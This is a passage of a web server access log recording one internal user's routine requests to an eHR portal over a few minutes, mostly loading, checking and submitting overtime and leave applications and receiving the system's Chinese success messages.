/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:50:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.40.60 - - [05/Dec/2025:18:50:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:50:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:50:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:51:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:51:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:51:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:51:10 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:10 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.40.60 - - [05/Dec/2025:18:51:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.40.60 - - [05/Dec/2025:18:51:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:51:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:51:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:51:20 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:20 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.40.60 - - [05/Dec/2025:18:51:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.40.60 - - [05/Dec/2025:18:51:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:51:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:51:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:51:27 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:27 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.40.60 - - [05/Dec/2025:18:51:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.40.60 - - [05/Dec/2025:18:51:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:51:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:51:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:51:34 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.40.60 - - [05/Dec/2025:18:51:34 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.40.60 - - [05/Dec/2025:18:51:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:51:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [05/Dec/2025:18:51:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:51:42 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:42 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.40.60 - - [05/Dec/2025:18:51:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.40.60 - - [05/Dec/2025:18:51:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 17583 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:51:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 17583 192.168.40.60 - - [05/Dec/2025:18:52:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:52:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.40.60 - - [05/Dec/2025:18:52:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-05 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:52:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-05 HTTP/1.1" 200 7 192.168.40.60 - - [05/Dec/2025:18:52:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-05 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:52:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-05 HTTP/1.1" 200 7 192.168.40.60 - - [05/Dec/2025:18:53:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:53:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.40.60 - - [05/Dec/2025:18:53:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [05/Dec/2025:18:53:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.40.60 - - [05/Dec/2025:18:53:12 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120423%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - 